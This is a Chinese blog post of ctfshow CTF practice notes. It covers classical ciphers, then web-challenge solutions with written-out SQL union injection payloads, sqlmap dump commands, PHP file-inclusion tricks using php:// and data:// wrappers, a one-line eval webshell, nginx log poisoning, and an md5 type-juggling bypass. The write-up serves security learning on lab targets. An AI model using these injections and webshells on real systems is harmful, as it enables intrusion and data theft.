2021-08-09-ctfshow做题笔记

2021-08-09-ctfshow做题笔记

英文:469词 | 中文:3271字

Posted by YY——阳阳 on August 9, 2021

作者:鸿鹄(阳阳)

crypto

crypto签到-14

这些题目包含了常用的密码学

  • rot密码
  • 凯撒密码
  • jsfuck、表情密码(均可直接在控制台运行出来)
  • OoK加密
  • brainfuck
    • https://www.splitbrain.org/services/ook
  • rsa算法
    • https://mp.weixin.qq.com/s?src=11&timestamp=1628757653&ver=3247&signature=rQMa*8AVCpkLz3zO51g4PQnvqRrUmMNHxGK2dGg00-NV4J9naXyDWYcd5s05PJmu6uCDkFTw3j7GZHj8-FGPRmdLvf4xfcLwz7ZtULSqaLD4ToQ-MAnT5as8rZOXFwgx&new=1
  • Rabbit加密
  • serpent加密
    • http://serpent.online-domain-tools.com/
  • Quoted-printable解码
    • http://web.chacuo.net/charsetquotedprintable/
  • md5(32位)
  • 埃特巴什码
  • 脚本解密(大部分基于字符)

web

web 签到题

  1. F12打开控制台,源码注释发现字符串,根据经验进行base64解码即可.https://base64.us/
  2. 也可以view-source

web2

  • 方法一

简单的sql注入,我们使用万能密码发现注入点在username,并且有回显

f1vRnP.png

然后进行常规手工注入即可

sql手工注入常用语句:

普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;

查询数据库:select schema_name from information_schema.schemata#

      slelect database()#

查询数据库表:select table_name from information_schema.tables where table_schema='数据库名'#

查询字段名:select column_name from infromation_schema.columns where table_name='表名'#

查询字段内容:select * from 表名#
admin' or 1=1 order by 3#	//有回显
admin' or 1=1 order by 4#	//无回显

admin' or 1=1 union select 1,2,3#	//位置是2

admin' or 1=1 union select 1,database(),3#	//数据库名字是web2

admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#	//表名字为flag,user

admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#	// 字段名为flag

admin' or 1=1 union select 1,flag,3 from flag#	//得到flag

ctfshow{add81b69-8f21-4e43-b091-105ef61e4a71}

  • 方法二

    直接sqlmap跑即可

    1. 把之前抓取的数据复制到sqlmap根目录下test.txt内f39XY8.png

    2. 保存完成后开始跑

       python sqlmap.py -r test.txt --dbs
       python sqlmap.py -r test.txt -D web2 --tables
       python sqlmap.py -r test.txt -D web2 -T flag --columns
       python sqlmap.py -r test.txt -D web2 -T flag -C flag --dump
      

web3

<?php include($_GET['url']);?>

文件包含,发现测试url=/etc/passwd有回显f3ZFRx.png

  • 方法一

我们利用php伪协议 php://input post提交命令,hackbar不太行,使用bp

<?php system(“ls”) ?>

<?php system(“cat ctf_go_go_go”) ?>

ctfshow{ff020599-61ce-47e7-877d-37a36638edd5}

  • 方法二

?url=data://text/plain,<?php print_r(glob(“*”)); ?>

  • 方法三

url=data:text/plain,<?php fputs(fopen(“shell.php”,”w”),”<?php @eval($_POST[‘hack’]);?>”)?>

然后进行菜刀链接

  • 方法四

因为是nginx服务器也可以使用日志包含

web4

使用nginx的日志包含

?url=/var/log/nginx/access.log可以打开

然后把一句话写到ua头中

然后进行菜刀链接即可

web5

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

代码审核:get传参绕过

ctype_alpha ( string $text ) : bool

做纯字符检测如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回true,反之则返回false。

is_numeric() 函数

用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

同时php弱类型比较,当比较的双方类型不相同时,会先转化成相同的再进行比较,如果转化之后都是以0e为开头的字符串,则==成立。

取v1=QNKCDZO v2=240610708

web6

逐个字符输入后发现过滤了空格,一般空格被过滤有如下替换方法

/**/
()
回车(url编码中的%0a)
`(tab键上面的按钮)
tab
两个空格

然后使用基本的模板注入即可

web7

当有空格时会报错,用/**/绕过,得到注入点 然后进行模板注入即可

只是6和7出现注入点的形式不同

web8

过滤了很多,空格、单引号、union等等 使用盲注